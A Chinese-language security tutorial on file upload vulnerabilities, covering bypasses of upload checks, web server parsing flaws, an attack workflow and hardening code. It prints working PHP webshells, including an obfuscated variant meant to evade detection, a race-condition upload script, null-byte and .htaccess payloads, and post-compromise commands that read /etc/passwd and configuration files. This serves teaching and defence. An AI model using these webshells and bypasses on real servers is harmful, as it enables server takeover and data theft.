文件上传漏洞(File Upload Vulnerability)是 Web 安全中危害最大的漏洞之一。攻击者上传恶意文件到服务器,就能执行任意代码、控制服务器,甚至作为跳板渗透到内网。这篇文章从原理、攻击手法、绕过技巧到防御方案,系统地讲解这个经典漏洞。
一、什么是文件上传漏洞
文件上传漏洞的核心问题是:服务器对用户上传的文件缺乏充分的校验和控制,导致攻击者能够上传非预期的文件类型(如 PHP、JSP、ASP 等可执行脚本),并通过 Web 服务器解析执行,最终获得服务器控制权(GetShell)。
1.1 漏洞产生的根本原因
- 前端校验可被绕过:仅依赖 JavaScript 检查文件扩展名,攻击者可直接修改请求
- 后端校验不严格:黑名单不完整、MIME 类型可被伪造、文件内容未检测
- 解析配置错误:Web 服务器配置不当,导致非脚本文件被当作代码执行
- 上传路径可控:攻击者能控制文件保存位置,配合路径遍历写入危险目录
- 文件重命名逻辑缺陷:仅修改文件名而未改变文件本质,或重命名规则可预测
1.2 漏洞的危害等级
| 危害类型 | 具体影响 |
|---|---|
| 远程代码执行(RCE) | 上传 WebShell,完全控制服务器 |
| 权限提升 | 利用服务器漏洞进一步获取系统权限 |
| 内网渗透 | 以被控服务器为跳板攻击内网 |
| 数据窃取 | 读取数据库配置、用户敏感信息 |
| 持久化后门 | 植入木马,长期控制 |
| 横向移动 | 利用同一台服务器攻击其他服务 |
二、常见的上传校验方式及其绕过
2.1 前端校验绕过
前端校验通常通过 JavaScript 检查文件扩展名或 MIME 类型。
防御代码示例(前端):
function checkFile() {
var file = document.getElementById('upload').value;
var ext = file.substring(file.lastIndexOf('.')).toLowerCase();
if (ext != '.jpg' && ext != '.png' && ext != '.gif') {
alert('只允许上传图片文件!');
return false;
}
}绕过方法:
- 直接禁用浏览器 JavaScript
- 使用 Burp Suite 拦截请求,修改文件名
- 先上传合法文件,再抓包修改为恶意文件
2.2 MIME 类型校验绕过
后端通过 Content-Type 头判断文件类型。
防御代码示例(PHP):
if ($_FILES['file']['type'] != 'image/jpeg' &&
$_FILES['file']['type'] != 'image/png') {
die('文件类型不正确');
}绕过方法:
抓包修改 Content-Type 为合法类型:
Content-Type: image/jpeg2.3 黑名单扩展名校验绕过
黑名单机制禁止特定扩展名上传。
防御代码示例:
$blacklist = array('php', 'jsp', 'asp', 'aspx', 'exe');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array(strtolower($ext), $blacklist)) {
die('禁止上传该类型文件');
}绕过方法:
| 绕过方式 | 原理 | 示例 |
|---|---|---|
| 大小写混合 | 黑名单未统一转小写 | Php, pHp |
| 特殊扩展名 | 等价解析扩展名 | php3, php4, php5, phtml |
| Apache 解析漏洞 | 多扩展名从右向左解析 | shell.php.jpg(配置错误时) |
| Nginx 解析漏洞 | 路径截断解析 | /uploads/shell.jpg/.php |
| Windows 特性 | 特殊字符截断 | shell.php., shell.php::$DATA |
| 双写扩展名 | 替换逻辑缺陷 | shell.pphphp |
| .htaccess 攻击 | 修改目录解析规则 | 上传 .htaccess 让 .jpg 解析为 PHP |
2.4 白名单校验绕过
白名单仅允许特定扩展名,安全性高于黑名单,但仍可能被绕过。
防御代码示例:
$whitelist = array('jpg', 'jpeg', 'png', 'gif');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array(strtolower($ext), $whitelist)) {
die('只允许上传图片文件');
}绕过方法:
1. %00 截断(PHP < 5.3.4)
filename="shell.php%00.jpg"PHP 处理时 %00 截断后续字符,实际保存为 shell.php。
2. 路径遍历 + 截断
POST /upload.php?path=../uploads/shell.php%00 HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.jpg"3. 文件包含漏洞配合
上传图片马(含 PHP 代码的图片),配合文件包含漏洞执行:
include('uploads/shell.jpg'); // 图片中的 PHP 代码会被执行2.5 文件内容校验绕过
通过检查文件头(Magic Number)判断真实文件类型。
常见文件头:
| 文件类型 | 文件头(Magic Number) |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 |
| GIF | 47 49 46 38 |
| ZIP | 50 4B 03 04 |
绕过方法:
- 文件头伪造:在恶意文件前添加合法文件头
GIF89a
<?php @eval($_POST['cmd']); ?>- 图片二次渲染绕过:
- 上传正常图片,下载渲染后的图片
- 分析渲染前后差异,在未被修改的区域植入代码
- 重新上传植入代码的图片
- 条件竞争(Race Condition):
# 上传的同时不断访问,利用时间窗口执行
import requests
import threadingdef upload():
files = {'file': ('shell.php', '<?php system($_GET[1]);?>')}
requests.post('http://target/upload.php', files=files)def access():
requests.get('http://target/uploads/shell.php?1=id')
# 多线程同时上传和访问
三、Web 服务器解析漏洞
即使上传的是"合法"图片文件,服务器配置错误仍可能导致代码执行。
3.1 Apache 解析漏洞
Apache 从右向左解析,遇到不认识的扩展名继续向左:
shell.php.jpg.jpg.jpg -> 最终解析为 shell.php影响版本: Apache 1.x, 2.x(配置 mod_mime 或 mod_php 时)
3.2 Nginx 解析漏洞(CVE-2013-4547)
Nginx 对路径中的 %00 处理不当:
/uploads/shell.jpg%00.php或配置错误导致所有路径都交给 PHP 处理:
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
}
# 错误配置:/uploads/shell.jpg/something.php 会被解析3.3 IIS 解析漏洞
IIS 6.0 的两个经典漏洞:
shell.asp;.jpg被解析为 ASP- 在
shell.asp目录下的任意文件被当作 ASP 解析
3.4 .htaccess 攻击
上传 .htaccess 文件修改目录解析规则:
AddType application/x-httpd-php .jpg之后上传 .jpg 文件即可被当作 PHP 执行。
四、实战攻击流程
4.1 信息收集
- 判断技术栈:
- 通过响应头判断服务器类型(Apache/Nginx/IIS)
- 通过错误页面判断语言(PHP/JSP/ASP)
- 通过 URL 特征判断框架
- 探测上传点:
- 用户头像上传
- 文件附件上传
- 富文本编辑器图片上传
- API 接口文件上传
- 分析校验机制:
- 前端:查看页面源码中的 JavaScript
- 后端:通过不同文件测试响应差异
4.2 上传 WebShell
基础 PHP 一句话木马:
<?php @eval($_POST['cmd']); ?>免杀变形:
<?php $_='a';$__='b';$___='c';$____='d';$_____='e';
$______='f';$_______='g';$________='h';$_________='i';
// 字符串拼接绕过简单特征检测
$a = 'ev'.'al';
$b = 'ba'.'se64_'.'de'.'code';
$a($b($_POST['x']));
?>图片马制作:
# 将 PHP 代码追加到图片末尾
cat normal.jpg shell.php > shell.jpg4.3 获取 Shell 后的操作
# 1. 查看当前权限
whoami
id# 2. 查看系统信息
uname -a
cat /etc/os-release# 3. 寻找敏感文件
cat ../../config.php # 数据库配置
cat /etc/passwd
find / -name "*.conf" -type f 2>/dev/null
# 4. 权限提升
# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 检查内核漏洞
uname -r
五、防御方案
5.1 上传目录隔离
# Nginx:禁止上传目录执行脚本
location ^~ /uploads/ {
location ~ .*\.(php|jsp|asp|aspx)$ {
deny all;
}
}# Apache:.htaccess 或配置文件
<Directory "/var/www/uploads">
php_flag engine off
<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|aspx|cgi|sh|bash)$">
Order allow,deny
Deny from all
</FilesMatch>
</Directory>5.2 文件重命名与存储
// 1. 使用随机文件名,不保留原始扩展名
$filename = md5(uniqid() . rand()) . '.' . $real_ext;// 2. 分离存储:文件内容存对象存储,元数据存数据库
// 不直接通过 URL 访问原始文件
// 3. 使用 OSS/S3 等云存储的私有 bucket
5.3 严格的文件校验
function safeUpload($file) {
// 1. 白名单校验扩展名
$whitelist = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist)) {
return false;
}// 2. 校验 MIME 类型(不可全信,仅作参考)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
return false;
}// 3. 校验文件头(Magic Number)
$handle = fopen($file['tmp_name'], 'rb');
$header = fread($handle, 8);
fclose($handle);$valid_headers = [
"\xFF\xD8\xFF" => 'jpg',
"\x89PNG\r\n\x1a\n" => 'png',
"GIF87a" => 'gif',
"GIF89a" => 'gif'
];$valid = false;
foreach ($valid_headers as $magic => $type) {
if (strpos($header, $magic) === 0) {
$valid = true;
break;
}
}
if (!$valid) return false;// 4. 图片二次渲染(彻底破坏嵌入的代码)
if ($ext === 'jpg' || $ext === 'jpeg') {
$img = imagecreatefromjpeg($file['tmp_name']);
if (!$img) return false;
imagejpeg($img, $file['tmp_name'], 90);
imagedestroy($img);
}// 5. 限制文件大小
if ($file['size'] > 5 1024 1024) { // 5MB
return false;
}// 6. 存储到非 Web 目录或使用随机文件名
$save_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($file['tmp_name'], '/non-web-dir/' . $save_name);
return $save_name;
}
5.4 文件下载代理
不直接暴露文件路径,通过代理读取:
// download.php?id=123
$file_id = intval($_GET['id']);
$file_info = getFileFromDB($file_id);
// 强制设置 Content-Type,不根据扩展名判断
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $file_info['name'] . '"');
readfile('/secure-storage/' . $file_info['storage_name']);
5.5 WAF 与 RASP
- WAF 规则:检测上传数据中的
<?php,<%,eval(,system(等特征 - RASP(运行时应用自我保护):监控文件上传后的行为,阻止异常文件操作
六、总结
文件上传漏洞的防御核心在于:假设所有上传的文件都是恶意的。
| 防御层级 | 措施 | 有效性 |
|---|---|---|
| 网络层 | CDN/WAF 拦截 | ★★☆ |
| 服务器层 | 目录执行权限控制 | ★★★ |
| 应用层 | 白名单 + 文件头 + 二次渲染 | ★★★ |
| 存储层 | 分离存储 + 随机文件名 | ★★★ |
| 访问层 | 代理下载 + 强制 Content-Type | ★★☆ |
最佳实践组合:
- 前端类型提示(用户体验)+ 后端严格白名单校验
- 文件头 + MIME + 二次渲染三重验证
- 上传目录禁止脚本执行(Web 服务器配置)
- 文件重命名并存储到非 Web 目录
- 通过代理接口提供下载,不暴露真实路径
- 定期审计上传文件,监控异常行为
文件上传漏洞看似"只是上传了个文件",实则是攻击者进入内网的黄金通道。做好上传安全,等于守住了 Web 应用的第一道大门。